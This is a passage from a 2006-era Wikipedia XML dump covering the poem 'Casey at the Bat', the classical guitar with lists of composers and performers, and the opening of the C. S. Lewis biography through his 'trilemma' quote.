      <text xml:space="preserve">&quot;'''Casey at the Bat'''&quot; (subtitled &quot;A Ballad of the Republic&quot;) is a [[poem]] on the subject of [[baseball]], written in [[1888]] by [[Ernest Thayer]]. It was first published in the ''[[San Francisco Examiner]]'' on [[June 3]], 1888, but was popularized by [[DeWolf Hopper]] in many [[vaudeville]] performances; Hopper gave the poem's first stage recitation on [[August 14]], 1888 at [[New York City|New York]]'s Wallack Theatre in the presence of the [[Chicago Cubs|Chicago]] and [[San Francisco Giants|New York]] baseball teams, the White Stockings and the Giants; August 14, 1888 was also Thayer's 25th birthday. The first recorded version of ''Casey at the Bat,'' as sung by [[Russell Hunting]], hit the music charts in 1893. DeWolf Hopper's more famous version will not be released until October 1906. 

==Premise and plot==
The poem is about a baseball team from the fictional town of Mudville, who are losing during the last inning of a game but could win if they can last long enough to let &quot;mighty Casey&quot; get at bat. Casey, their star player, is beloved by the fans and so confident in his abilities that he doesn't swing at the first two pitches, both strikes. As a work the poem encapsulates much of the appeal of baseball, including the involvement of the crowd. Although not well known in its entirety, the last verse has attained something of the status of a classic.

The last verse reads:
{| border=&quot;0&quot; width=&quot;35%&quot; cellpadding=&quot;5&quot; class=&quot;noprint&quot; style=&quot;float:right; clear:both; border:solid #008 2px; margin:0em 0em 0.5em 0.5em; width:35%;&quot; 
|-
|[[Image:Sourceberg.jpg|50px|none|Wikisource|&lt;nowiki&gt;&lt;/nowiki&gt;]]
|'''[[Wikisource]] has the [[wikisource:Casey at the Bat|full text of &quot;Casey at the Bat&quot;]].'''
|}
:Oh, somewhere in this favored land the sun is shining bright;
:The band is playing somewhere, and somewhere hearts are light,
:And somewhere men are laughing, and somewhere children shout;
:But there is no joy in Mudville&amp;mdash;mighty Casey has struck out.

Residents of [[Stockton, California]] have often claimed that Mudville was inspired by Stockton, and for the [[2002 in baseball|2002]] season, Stockton's [[California League]] team was named the Mudville Nine. (Since then, the team's name has reverted to the [[Stockton Ports]].)

Residents of [[Holliston, Massachusetts]] have made similar claims, and a rivalry of sorts has developed between the two cities over the location of the poem, if it was either. Thayer did in fact grow up in nearby [[Worcester, Massachusetts]].

==Other adaptations, as well as sequels==
A month after the poem was published, a [[parody]], &quot;Kelly at the Bat,&quot; was published in the ''Sporting Times.'' The only changes from the original are substitutions of Kelly for Casey, and [[Boston, Massachusetts|Boston]] for Mudville. [[King Kelly|Mike &quot;King&quot; Kelly]], then of the [[Atlanta Braves|Boston Beaneaters]], was one of baseball's two biggest stars at the time (along with [[Cap Anson]]).

In [[1897]], ''Current Literature'' noted the two versions and said, &quot;The locality, as originally given, is Mudville, not Boston; the latter was substituted to give the poem local color.&quot;  

Based on Thayer's original, there have been two [[animated film]]s by [[Walt Disney]]: ''Casey at the Bat'' ([[1946 in film|1946]]), which is a direct adaptation, and ''Casey Bats Again'' ([[1954 in film|1954]]), in which his daughters redeem his reputation. A parody of the original, replaying the same events from the perspective of the opposing team, was written by [[Garrison Keillor]].

Several other parodies exist: one where Casey gets revenge the next season with the same pitcher ''(see [[Casey's Revenge]])'', one including Casey coming to the plate 20 years later getting his revenge, and one taking place in [[Russia]] which ends with &quot;Kasey&quot; in a [[gulag]] [[prison]].

In [[1988]], on the 100th anniversary of the poem, ''[[Sports Illustrated]]'' writer [[Frank DeFord]] constructed a fanciful story (later expanded to book form) which posited Katie Casey, the subject of the song ''[[Take Me Out to the Ball Game]]'', as being the daughter of the famous slugger from the poem.

==External links==
*[http://members.aol.com/jhatfi1006/casey2.htm &quot;Casey at the Bat (road game)&quot;, by Garrison Keillor]
*[[media:CaseyAtTheBat.ogg|Hear Hopper recite the poem]].
*[http://cylinders.library.ucsb.edu/search.php?queryType=@attr%201=21&amp;query=humorous%20recitations&amp;num=1&amp;start=8&amp;sortBy=&amp;sortOrder=ia Hear Russell Hunting version]
[[Category:American poems]]
[[Category:Baseball culture]]</text>
    </revision>
  </page>
  <page>
    <title>Classical guitar</title>
    <id>5810</id>
    <revision>
      <id>41135506</id>
      <timestamp>2006-02-25T07:01:53Z</timestamp>
      <contributor>
        <ip>24.130.173.185</ip>
      </contributor>
      <text xml:space="preserve">[[Image:ClassicalGuitar.jpg|frame|Classical guitar]]
A '''classical guitar''', also called a '''Spanish guitar''', is a [[musical instrument]] from the [[guitar]] family.
 
==Background information==

The classical guitar is distinguished by a number of features:
*It is an [[wiktionary:acoustic|acoustic]] instrument. The sound is amplified by a [[sound box]].  
*It has six [[string (music)|strings]]. A few classical guitars have eight or more strings to expand the bass scale, even out overtone production, and allow [[lute]] music written for lutes with more than six courses of strings to be played.
*The strings are usually made from [[nylon]] (formerly [[catgut]], which is made from [[sheep]] intestine, despite the name), as opposed to the metal strings found in some other forms of guitar. These strings have a much lower [[Tension (mechanics)|tension]] than steel strings. The lower three strings ('bass strings') are wound with metal, commonly silver or nickel.  Some less common stringings use a fourth wound string.
*Because of the low tension of the strings the neck can be made entirely of wood, not requiring a steel truss rod. 
*Also because of the low tension of the strings, the interior bracing of the sound board can be lighter, which allows more complex tonal qualities. The spruce top or sound board of each type has a different bracing pattern.  A common classical guitar bracing pattern in is called fan bracing. A center spruce brace is glued on the inside of the soundboard along  the center line of the guitar under the bridge. Additional braces fan out on ether side of the first brace.  The extreme tension of steel-strings requires stronger bracing. A common steel-string pattern is called X bracing and was first developed by the [[C.F. Martin &amp; Co.]] X bracing consists of two larger braced crossed under the sound board of a steel-string guitar. The center of the X is usually centered between the underside of the bridge and the sound hole.  
*The neck tends to be broader than with steel string guitars, making more complex fingerwork easier, but which may require a more exacting left hand position. The classical fingerboard is normally flat, whereas the steel string fingerboard has a slight radius.
*The strings are usually plucked with the fingers.  Most players shape their fingernails so that they contact the string in a certain way to achieve the desired tone. 
*Traditionally, the tuning pegs (or &quot;keys&quot;) at the head the fingerboard of a classical guitar point backwards (towards the player when the guitar is in playing position; perpendicular to the plane of  the [[fretboard]]).  This is in contrast to a traditional steel-string guitar design, in which the tuning pegs point outward (up and down from playing position; parallel to the plane of the [[fretboard]]).
*Classical guitars are typically built without ''[[pickguard]]s''.  A pickguard is a piece of plastic affixed just below the strings on steel-string guitars to protect the sound board of the guitar from damage by aggressive strumming with a pick.  It is assumed that a classical guitar will be played only with the fingers, and that a pick-guard is unnecessary. On flamenco guitars a tapping, or golpe board is attached to the front of the guitar, below the sound hole to allow the use of techniques that would normally damage a classical guitar.


Classical guitars are normally played without amplification of any sort but they can be equipped with an electronic pickup, which is sometimes used by performers in noisy environments.  Either a piezoelectric pickup is placed under the bridge, or a microphone is suspended within the body.

==History of the classical guitar==

===The Golden Age===

The first 'Golden Age' of the classical guitar repertoire was the 19th century. Some notable guitar composers from this period are:

*[[Dionisio Aguado]] [[1784]]-[[1849]]
*[[Julián Arcas]] [[1832]]-[[1882]]
*[[Luigi Boccherini]] [[1743]]-[[1805]]
*[[Jose Broca]] [[1805]]-[[1882]]
*[[Matteo Carcassi]] [[1792]]-[[1853]]
*[[Ferdinando Carulli]] [[1770]]-[[1841]]
*[[Napoléon Coste]] [[1806]]-[[1883]]
*[[Anton Diabelli]] [[1781]]-[[1858]]
*[[Fernando Ferandiere]] [[1771]]-[[1816]]
*[[Francois de Fossa]] [[1775]]-[[1849]]
*[[Mauro Giuliani]] [[1781]]-[[1829]]
*[[Luigi Legnani]] [[1790]]-[[1877]]
*[[Antoine de Lhoyer]] [[1768]]-[[1852]]
*[[Antonio Gimeniz Manjon]] [[1866]]-[[1919]]
*[[Wenzeslaus Matiegka]] [[1773]]-[[1830]]
*[[Johann Kaspar Mertz]] [[1806]]-[[1856]]
*[[Francesco Molino]] [[1768]]-[[1847]]
*[[Giulio Regondi]] [[1822]]-[[1872]]
*[[Fernando Sor]] [[1778]]-[[1839]]
*[[Francisco Tárrega]] [[1852]]-[[1909]]
*[[Marco Aurelio Zani de Ferranti]] [[1800]]-[[1878]]

===Guitarist-composers of the 20th century===

*[[Sergio Assad]] [[1952]]-
*[[Agustín Barrios Mangoré]] [[1885]]-[[1944]]
*[[Gilbert Biberian]] [[1944]]-
*[[Leo Brouwer]] [[1939]]-
*[[Kevin Callahan]] [[1958]]-
*[[Abel Carlevaro]] [[1918]]-[[2002]]
*[[Carlo Domeniconi]] [[1947]]-
*[[John W Duarte]] [[1919]]-[[2004]]
*[[Roland Dyens]] [[1955]]-
*[[Dimitris Fampas]] [[1921]] - [[1996]]
*[[Angelo Gilardino]] [[1941]]-
*[[Brian Head]] [[1965]]-
*[[Evan Hirschelman]] [[1976]]-
*[[Francis Kleynjans]] [[1951]]-
*[[Nikita Koshkin]] [[1956]]-
*[[Annette Kruisbrink]] [[1958]]-
*[[Ian Krouse]] [[1956]]-
*[[Antonio Lauro]] [[1917]]-[[1986]]
*[[Miguel Llobet]] [[1878]]-[[1938]]
*[[Jorge Morel]] [[1931]]-
*[[Maximo Diego Pujol]] [[1957]]-
*[[Eduardo Sainz de la Maza]] [[1903]]-[[1982]]
*[[Teresa de Rogatis]] [[1893]]-[[1979]]
*[[Reginald Smith Brindle]] [[1917]]-[[2003]]
*[[Stepán Rak]] [[1945]]-
*[[Brad Richter]] [[1969]]-
*[[D.R. Auten]] [[1951]]-
*[[Heitor Villa-Lobos]] [[1887]]-[[1959]]
*[[Andrew York]] [[1958]]-

===Composers for the classical guitar===

In the 20th century, many non-guitarist composers wrote for the instrument, which previously only players of the instrument had done.  These include:

*[[Malcolm Arnold]] [[1921]]-
*[[Vicente Asencio]] [[1908]]-[[1979]]
*[[Milton Babbitt]] [[1916]]-
*[[Richard Rodney Bennett]] [[1936]]-
*[[Luciano Berio]] [[1925]]-[[2003]]
*[[Lennox Berkeley]] [[1903]]-[[1989]]
*[[Benjamin Britten]] [[1913]]-[[1976]]
*[[Elliott Carter]] [[1908]]-
*[[Mario Castelnuovo-Tedesco]] [[1895]]-[[1968]]
*[[Peter Maxwell Davies]] [[1934]]-
*[[Stephen Dodgson]] [[1924]]-
*[[René Eespere]] [[1953]]-
*[[Manuel de Falla]] [[1876]]-[[1946]]
*[[Jean Françaix]] [[1912]]-[[1997]]
*[[Roberto Gerhard]] [[1896]]-[[1970]]
*[[Alberto Ginastera]] [[1916]]-[[1983]]
*[[Hans Werner Henze]] [[1926]]-
*[[Antonio José]] [[1902]]-[[1936]]
*[[Ernst Krenek]] [[1900]]-[[1991]]
*[[John Anthony Lennon]] [[1950]]-
*[[Ester Mägi]] [[1922]]-
*[[Joan Manen]] [[1883]]-[[1971]]
*[[Frank Martin (composer)|Frank Martin]] [[1890]]-[[1974]]
*[[Ananiah McCarrell (composer)|Ananiah McCarrell]] [[1981]]-
*[[Darius Milhaud]] [[1892]]-[[1974]]
*[[Frederic Mompou]] [[1893]]-[[1987]]
*[[Federico Moreno Torroba]] [[1891]]-[[1982]]
*[[Maurice Ohana]] [[1914]]-[[1992]]
*[[Astor Piazzolla]] [[1921]]-[[1992]]
*[[Manuel Ponce]] [[1886]]-[[1948]]
*[[Francis Poulenc]] [[1899]]-[[1963]]
*[[André Previn]] [[1929]]-
*[[Roger Reynolds]] [[1934]]-
*[[George Rochberg]] [[1918]]-[[2005]]
*[[Joaquín Rodrigo]] [[1901]]-[[1999]]
*[[Albert Roussel]] [[1869]]-[[1937]]
*[[Toru Takemitsu]] [[1930]]-[[1996]]
*[[Alexandre Tansman]] [[1897]]-[[1986]]
*[[Michael Tippett]] [[1905]]-[[1998]]
*[[Joaquín Turina]] [[1882]]-[[1949]]
*[[William Walton]] [[1902]]-[[1983]]
*[[Mason Williams]] [[1936]]-

===Modern performers===

Guitarists also often play transcriptions of music originally written for other instruments.  [[Lute]] transcriptions from the Renaissance and Baroque eras are common.

Some players of the classical guitar:

*[[Laurindo Almeida]] [[1917]]-[[1995]]
*[[Magnus Andersson]] [[1955]]-
*[[Roberto Aussel]] [[1954]]-
*[[Agustín Barrios Mangoré]] [[1885]]-[[1944]]
*[[Manuel Barrueco]] [[1952]]-
*[[Gilbert Biberian]] [[1944]]-
*[[Liona Boyd]] [[1949]]-
*[[Julian Bream]] [[1933]]-
*[[Leif Christensen]] [[1950]]-[[1988]]
*[[Alirio Diaz]] [[1923]]-
*[[Zoran Dukic]] [[1969]]-
*[[Roland Dyens]] [[1955]]-
*[[Eva Fampas]] [[1964]] -
*[[Eliot Fisk]] [[1958]]-
*[[Sila Godoy]] [[1919]]-[[1949]]
*[[Slava Grigoryan]] [[1976]]-
*[[Steve Hackett]] [[1950]]-
*[[Adam Holzman]] [[1960]]-
*[[Dimitri Illarionov]] [[1979]]-
*[[Sharon Isbin]] [[1956]]-
*[[Maria Kämmerling]] [[1946]]-
*[[Alexandre Lagoya]] [[1929]]-[[1999]]
*[[Gustavo Lopez]] [[1920]]-[[1979]]
*[[Carlo Marchione]] [[1964]]-
*[[Erling Møldrup]] [[1943]]-
*[[Christopher Parkening]] [[1947]]-
*“Esteban”, [[Esteban|Stephen Paul]] [[1948]]-
*[[Marco Pereira]]
*[[Alberto Ponce]] [[1935]]-
*[[Robert Phillips]] [[1953]]-
*[[Celedonio Romero]] [[1913]]-[[1996]]
*[[Pepé Romero]] [[1944]]-
*[[David Russell]] [[1953]]-
*[[Andrés Segovia]] [[1893]]-[[1987]]
*[[David Starobin]] [[1951]]-
*[[Pavel Steidl]] [[1961]]-
*[[David Tanenbaum]] [[1956]]-
*[[Ana Vidović]] [[1980]]-
*[[John Williams (guitarist)|John Williams]] [[1941]]-
*[[Kazuhito Yamashita]] [[1961]]-
*[[Yang Xuefei]] [[1977]]-
*[[Andrew York]]
*[[Göran Söllscher]] [[1955]]-

==See also==
*[[Classical guitar music]]
*[[List of composers for the classical guitar]]
*[[:Category:Composers for guitar]]

==External links==
*[http://www.classicalguitarmagazine.com/ Classical Guitar Magazine] The world's only monthly magazine dedicated to the classical guitar
*[http://www.worldguitarist.com/ World Guitarist] Daily News Coverage for the World Classical Guitar Community
*[http://www.guitarfoundation.org/ Guitar Foundation of America]
*[http://www.guitarlessonfeedback.com Guitar Lesson Feedback] Guitar lesson news and reviews
*[http://www.guitarsite.com/classical.htm#TOP List of Classical Guitar Sites]
*[http://www.guitarsalon.com/ Shopping for Classical Guitars Online]
*[http://www.halleonard.com/ Hal Leonard Classical Guitar Music Books]
*[http://www.tuscanyguitar.com/ Tuscany Publications]
*[http://www.melbay.com/ Mel Bay Publications]
*[http://www.guitarramagazine.com/ Guitarra Magazine]
*[http://www.luthiermusic.com/ Luthier Music Manufacturer of Classical Guitar Strings]
Free music:
*[http://classicalguitarmidi.com/ Classical Guitar MIDI]
*[http://freetabs.org/classical.htm TablEdit collection (notation and tab)]
*[http://www.alltabs.com/classical_tablature_list.html Alltabs (notation and tab)]
*[http://dirk.meineke.free.fr/ Dirk's (notation and tab)]
*[http://www.delcamp.net/en/index.html Delcamp collection]
*[http://www.classtab.org/ Classical Guitar Tablature]
Discussion forums:
*[http://www.delcamp.net/forum/en/index.php Delcamp]
*[http://groups.google.com/group/rec.music.classical.guitar (Usenet) rec.music.classical.guitar]
*[http://www.acousticguitar.com/ubbcgi/ultimatebb.cgi?ubb=forum;f=7 Acoustic Guitar Magazine]
*[http://forum.guitarsalon.com/index.php Guitar Salon]
*[http://www.e-borneo.com/ab/cgforum.html Classical Guitar]
*[http://www.classicalguitar.nl/ Netherlands]
A collection of fine classical and [[flamenco]] guitars can be seen at [http://www.granary-guitars.com the Classical Guitar Museum]
*[http://www.classicalguitarmidi.com/history/index.html Classical Guitar Illustrated History]
[[Category:Guitars]]

[[bg:Класическа китара]]
[[fr:Guitare classique]]
[[ko:클래식기타]]
[[it:Chitarra classica]]
[[he:גיטרה קלאסית]]
[[nl:Klassieke gitaar]]
[[pl:Gitara klasyczna]]
[[pt:Violão erudito]]
[[tr:Klasik gitar]]
[[zh:古典吉他]]</text>
    </revision>
  </page>
  <page>
    <title>C. S. Lewis</title>
    <id>5813</id>
    <revision>
      <id>41994051</id>
      <timestamp>2006-03-03T02:33:12Z</timestamp>
      <contributor>
        <username>Pollinator</username>
        <id>22743</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.13.73.140|64.13.73.140]] ([[User talk:64.13.73.140|talk]]) to last version by MartinRobinson</comment>
      <text xml:space="preserve">[[Image:C.s.lewis.jpg|right|frame|C.S. Lewis]]

'''''Clive Staples Lewis''''' ([[29 November]] [[1898]] &amp;ndash; [[22 November]] [[1963]]), commonly referred to as '''C. S. Lewis''' was a [[Irish people|Northern Irish]] author and scholar, born into a [[Church of Ireland]] family in [[Belfast]], although mostly resident in [[England]] in adulthood. Lewis is known for his work on [[medieval literature]], for his [[Christian apologetics]] and for his fiction, especially the children’s series entitled ''[[The Chronicles of Narnia]]'' and his science fiction ''[[Space Trilogy]]''. He was also a leading figure in an [[Oxford]] literary group called the [[Inklings]].


== Early life ==

Clive Staples Lewis was born in [[Belfast]], Northern Ireland, to Albert James Lewis and Flora Augusta Hamilton Lewis on November 29th, 1898. At the age of 4, shortly after his dog 'Jacksie' was run over by a car, Lewis announced that his name was now Jacksie. At first he would answer to no other name, but later accepted Jacks which became Jack, the name by which he was known to friends and family for the rest of his life. When he was six his family moved into a new house called Leeborough or Little Lea in Strandtown.

He had a brother named [[Warren Lewis|Warren Hamilton Lewis]] (Warnie), three years his elder. Lewis' mother died in 1908, and he was schooled by occasional tutors. He was sent to a school in England at age nine following his brother. This school, Wynyard School in [[Watford, Hertfordshire]] was soon closed and the headmaster committed as insane soon afterwards. Lewis next attended [[Campbell College]] in the east of the city about a mile from his house but only for a few months. Next, Lewis was sent to Cherbourg and then Malvern College in [[Malvern, Worcestershire]]. Around 1913, he abandoned his childhood Christian faith. Leaving Malvern after a year, Lewis moved on to study privately with William T. Kirkpatrick, his father's old tutor.

Lewis had a passion for &quot;dressed animals&quot; as a boy, falling in love with [[Beatrix Potter]]'s stories and often writing and illustrating his own animal stories. He and his brother, Warnie, together created the world of [[Boxen (C.S.Lewis)|Boxen]], which was inhabited and run by animals. Lewis loved to read, and as his father’s house was filled with books, he felt that finding a book he had not read was as easy as finding a blade of grass. He also had a mortal fear of spiders and insects as a child, so they often haunted his dreams.

As a teenager, he was wonderstruck by [[Richard Wagner]] and the songs and legends of the North. They intensified a longing he had within him, a deep desire he would later call &quot;joy.&quot; He also grew to love nature—the beautiful scenes in nature reminded him of the stories of the North, and the stories of the North reminded him of the beauties of nature. In his teenage years, his writing moved away from the tales of Boxen, and he began to use different art forms (epic poetry and opera) to try and capture his newfound interest in [[Norse mythology]] and in the natural world. Studying with Kirkpatrick (“The Great Knock”, as Lewis afterwards called him) instilled in him a love of Greek literature and mythology, and sharpened his skills in debate and the penetration of claptrap.

In 1916 Lewis won a [[scholarship]] to [[University College, Oxford]] while [[World War I]] was raging. He enlisted in the [[British Army]] in [[1917]]. He was commissioned as an officer in the third Battalion, [[Somerset Light Infantry]]. Lewis arrived at the front line in the [[Somme]] Valley in [[France]] on his nineteenth birthday.

While being trained for the army he shared a room with another cadet, 'Paddy' Moore, who was killed in action in 1918.  Paddy had introduced Lewis to his mother, Jane King Moore, and a friendship very quickly sprang up between Lewis, who was eighteen when they met, and Jane, who was forty-five.  The friendship was particularly important to Lewis when he was recovering from his wounds in hospital and his father refused to visit him.

There has been much disagreement among Lewis scholars as to the nature of the relationship between Lewis and Jane Moore.  Lewis was exceptionally reticent on the matter in his autobiography, writing only &quot;All I can or need to say is that my earlier hostility to the emotions was very fully and variously avenged&quot;. Many, including Lewis biographers Hooper, Wilson and Sayer, think that they were probably lovers in the early years of their relationship. At any rate, their friendship was certainly a very close one.  In December 1917 Lewis wrote, in a letter to his childhood friend, Arthur Greeves, that Jane and Greeves were &quot;the two people who matter most to me in the world.&quot;

After the war Lewis and Moore began to live together, and in 1930, they and Lewis' brother, Warren Lewis, moved into The Kilns, a house near Oxford.  They all three contributed financially to the purchase of the house, which passed to Lady Dunbar of Hempriggs, Moore's daughter, when Warren died in 1973.

Moore has been much criticised for being possessive and controlling and making Lewis do a lot of housework.  However, she was also a warmhearted, affectionate and hospitable woman who was well liked by her neighbours at The Kilns.  &quot;She was generous and taught me to be generous, too&quot; Lewis said to his friend George Sayer.

In later years Moore suffered from dementia and was eventually moved into a nursing home where she died in 1951.  Lewis visited her every day while she was in the home.  

Lewis was wounded during the [[Battle of Arras]], and suffered some depression, due in part to missing his Irish home. On his recovery, he was assigned duty in England. He was discharged in December 1918, and returned to his studies. He received a First in [[Honour Moderations]] (Greek and Latin Literature) in 1920, a First in [[Greats]] (Philosophy and Ancient History) in 1922, and a First in [[English studies|English]] in 1923.

== &quot;My Irish Life&quot; ==
Lewis experienced a certain cultural shock when living in England. &quot;No Englishman will be able to understand my first impressions of England,&quot; Lewis wrote in ''[[Surprised by Joy]]''. &quot;The strange English accents with which I was surrounded seemed like the voices of demons. But what was worst was the English landscape… I have made up the quarrel since; but at that moment I conceived a hatred for England which took many years to heal.&quot;

From his youth, Lewis had immersed himself in [[Irish mythology]] and literature and expressed an interest in the [[Irish language]]. He later developed a particular fondness for [[W. B. Yeats]], in part because of Yeats’s use of Ireland’s [[Celt|Celtic]] heritage in poetry. In a letter to a friend Lewis wrote, &quot;I have here discovered an author exactly after my own heart, whom I am sure you would delight in, W. B. Yeats. He writes plays and poems of rare spirit and beauty about our old Irish mythology.&quot;

He was surprised to find his English peers indifferent to Yeats and the [[Celtic Revival]] movement. In describing his time at Oxford he wrote, &quot;I am often surprised to find how utterly ignored Yeats is among the men I have met: perhaps his appeal is purely Irish — if so, then thank the gods that I am Irish.&quot;
   
Perhaps to help cope with his environment, Lewis even expressed a somewhat tongue-in-cheek chauvinism toward the English. Describing an encounter with a fellow Irishman he wrote, &quot;Like all Irish people who meet in England we ended by criticisms of the inevitable flippancy and dullness of the [[Anglo-Saxon]] race. After all, ami, there is no doubt that the Irish are the only people… I would not gladly live or die among another folk.&quot;

Lewis did indeed live and die among another folk, due to his Oxford career and often expressed a certain regret at having to leave Ireland. Throughout his life, he sought out the company of his fellow Irish living in England and visited Ireland regularly. He called this &quot;my Irish life&quot;.

Early in his career, Lewis considered sending his work to the major [[Dublin]] publishers. In a letter to a friend he wrote, &quot;If I do ever send my stuff to a publisher, I think I shall try Maunsel, those Dublin people, and so tack myself definitely onto the Irish school.&quot; After his conversion to Christianity, his interests gravitated towards Christian spirituality and away from Celtic mysticism.

== Conversion to Christianity ==

Although raised as a Christian, Lewis was an atheist for much of his youth. When he later wrote an account of his adult reconversion to Christianity, under the title ''[[Surprised by Joy]]'', he said that he had been &quot;very angry with God for not existing.&quot; Some interpret this to mean that he did not so much reject the existence of God as harbour anger at God for the unfairnesses in life. This interpretation appears to be contradicted by a letter to a friend, in which he said, &quot;all religions, no, mythologies to give them their proper name, have no proof whatsoever!&quot; The indifferent God is just as easily tested as the personal God of childhood, however, and in Lewis' considerations of an inadequate God within his own suffering, he began to believe in a deeper experience of some fundamentals of Western thought.

Influenced by arguments with his Oxford colleague and [[Roman Catholic]] friend [[J. R. R. Tolkien]], and by [[G.K. Chesterton]]'s book, ''[[The Everlasting Man]]'', he slowly rediscovered Christianity. In 1929, he came to believe in the existence of God, later writing, &quot;In the Trinity Term of 1929 I gave in, and admitted that God was God, and knelt and prayed,&quot; describing himself as &quot;the most dejected and reluctant convert in all England.&quot;

In 1931, after a lengthy discussion with Tolkien and another close friend, [[Hugo Dyson]], he reconverted to Christianity and (to the regret of Tolkien) joined the [[Church of England]]. He noted, &quot;I came into Christianity kicking and screaming.&quot;

== Career as a scholar ==

Lewis taught as a fellow of [[Magdalen College, Oxford]], for nearly thirty years, from [[1925]] to [[1954]], and later was the first [[Professor of Medieval and Renaissance English, Cambridge University|Professor of Medieval and Renaissance Literature]] at the [[University of Cambridge]] and a fellow of [[Magdalene College, Cambridge]]. Using this position, he argued that there was no such thing as an [[English Renaissance]]. Much of his scholarly work concentrated on the later Middle Ages, especially its use of allegory. His ''The Allegory of Love'' (1936) helped reinvigorate the serious study of late medieval narratives like the ''[[Roman de la Rose]]''. Lewis wrote several prefaces to old works of literature and poetry, like ''Layamon's Brut''. His preface to John Milton’s poem ''[[Paradise Lost]]'' is still one of the most important criticisms of that work. His last academic work, ''The Discarded Image, an Introduction to Medieval and Renaissance Literature'' (1964), is a summary of the medieval world view, the &quot;discarded image&quot; of the cosmos in his title.

Lewis was a prolific writer and a member of the literary discussion society [[Inklings|The Inklings]] with his friends [[J. R. R. Tolkien]], [[Charles Williams]], and [[Owen Barfield]].

== Career as a writer of fiction ==

In addition to his scholarly work, Lewis wrote a number of popular novels, including his science-fiction [[Space Trilogy]], his fantasy [[Narnia]] books, and various other novels, most containing allegories on Christian themes such as sin, the Fall, and redemption. (For more information about those works, see their individual articles.)

'''[[The Pilgrim's Regress]].''' His first novel after becoming a Christian was ''The Pilgrim's Regress'', his take on [[John Bunyan]]'s ''[[The Pilgrim's Progress]]'' which depicted his own experience with Christianity. The book was panned at the time.

'''[[Space Trilogy]].''' His Space Trilogy or &quot;Ransom Trilogy&quot; novels dealt with what Lewis saw as the then-current dehumanizing trends in modern science fiction. The first book, ''[[Out of the Silent Planet]]'', was apparently written following a conversation with his friend [[J. R. R. Tolkien]] about these trends. Lewis agreed to write a &quot;space travel&quot; story and Tolkien a
&quot;time travel&quot; one. Tolkien’s story, [[The Lost Road and Other Writings|The Lost Road]], a tale connecting his Middle-earth mythology and the modern world, was never completed. Lewis’s character of Ransom is generally agreed to be based, in part, on Tolkien. The minor character Jules, from ''[[That Hideous Strength]]'', is an obvious caricature of [[H. G. Wells]]. Many of the ideas presented in the books, particularly in ''That Hideous Strength'', are dramatizations of arguments made more formally in Lewis’s ''[[The Abolition of Man]]''.

'''Works on heaven and hell.''' ''[[The Great Divorce]]'' is a short novel about imagined conversations in the foothills of [[Heaven]] between the saved and the potentially damned. The title is a reference to [[William Blake]]'s ''[[The Marriage of Heaven and Hell]]''. This work deliberately echoes two other more famous works with a similar theme: the ''[[Divine Comedy]]'' of [[Dante|Dante Aligheri]], and [[John Bunyan]]'s ''[[Pilgrim's Progress]]''. Another short [[novel]], ''[[The Screwtape Letters]]'', consists of letters of advice from a senior [[demon]], Screwtape, to his nephew Wormwood, on the best ways to tempt a particular human and secure his [[Damnation#Religious|damnation]].

'''[[The Chronicles of Narnia]].''' This is a series of seven [[fantasy fiction|fantasy]] novels for children that is by far the most popular of Lewis’s works. The books have Christian themes and describe the adventures of a group of children who visit a magical land called [[Narnia]]. ''[[The Lion, the Witch and the Wardrobe]]'', which was the first published and the most popular book of the series, has been adapted for both stage and screen. Written by Lewis between 1950—1956, ''[[The Chronicles of Narnia]]'' borrow from [[Greek mythology|Greek]], [[Roman Mythology|Roman]], and [[Celtic mythology]] as well as traditional English and Irish [[fairy tale]]s. Lewis reportedly based his depiction of Narnia in the novels on the geography and scenery of the [[Mourne Mountains]] in [[County Down]], [[Northern Ireland]]. [[Castlerock|Downhill House]] was his inspiration for the Witch's Castle. Lewis cited [[George MacDonald|MacDonald]] as an influence in writing the series.

'''Other works.''' Lewis’s last novel was ''[[Till We Have Faces]]''. Many believe (as he did) that it is his most mature and masterful work of fiction, but it was never a popular success. It is a retelling of the myth of [[Cupid and Psyche]] from the unusual perspective of Psyche’s sister. It is deeply concerned with religious ideas, but the setting is entirely pagan, and the connections with specific Christian beliefs are left implicit.

Before Lewis’ conversion to Christianity, he published two books: ''[[Spirits in Bondage]]'', a collection of poems, and ''[[Dymer]]'', a single narrative poem. Both were published under the pen name of &quot;Clive Hamilton&quot;.

== Career as a writer on Christianity ==
In addition to his career as an English professor and an author of fiction, Lewis also wrote a number of books about [[Christianity]] — perhaps most famously, ''[[Mere Christianity]]'', which is considered a classic of [[Christian apologetics]]. In 2000, ''Mere Christianity'' was named the best book of the twentieth century by ''[[Christianity Today]]'' magazine, after the magazine asked 100 of its contributors and Church leaders to vote for best book.  He was very much interested in presenting a reasonable case for the truth of Christianity. ''[[Mere Christianity]]'', ''[[The Problem of Pain]]'', and ''[[Miracles (book)|Miracles]]'' were all concerned, to one degree or another, with refuting popular objections to Christianity.

He has become popularly known as ''The Apostle to the Sceptics'' because he says he originally approached religious belief as a sceptic but was converted by the evidence. Consequently, his books on Christianity examine common difficulties in accepting Christianity, such as &quot;How could a good God allow pain to exist in the world?&quot;, which he examined in detail in ''The Problem of Pain''.

Lewis also wrote an autobiography entitled ''[[Surprised by Joy]]'', which describes his conversion. (It was written before he met his wife, [[Joy Gresham]].) His essays and public speeches on Christian belief, many of which were collected in ''[[God in the Dock]]'' and ''[[The Weight of Glory and Other Addresses]]'', remain popular today.

His most famous works, the ''Chronicles of Narnia'', contain many strong [[Christianity|Christian]] messages. These are often mistaken for [[allegory]], but, as Lewis himself said, are certainly not allegory. Lewis is said to have stated that he wrote the novels when he wondered what it would be like if Jesus Christ was incarnated on another world or planet to save the souls of those inhabitants.

=== Trilemma ===

In the book ''Mere Christianity'', Lewis famously proposed that Jesus' status as a great moral teacher cannot be divorced from his claims to divinity:

:&quot;''I am trying here to prevent anyone saying the really foolish thing that people often say about him: I'm ready to accept Jesus as a great moral teacher, but I don’t accept his claim to be God. That is the one thing we must not say. A man who was merely a man and said the sort of things Jesus said would not be a great moral teacher. He would either be a lunatic — on the level with the man who says he is a poached egg — or else he would be the Devil of Hell. You must make your choice. Either this man was, and is, the Son of God, or else a madman or something worse. You can shut him up for a fool, you can spit at him and kill him as a demon and you can fall at his feet and call him Lord and God, but let us not come with any patronising nonsense about his being a great human teacher. He has not left that open to us. He did not intend to.''&quot;

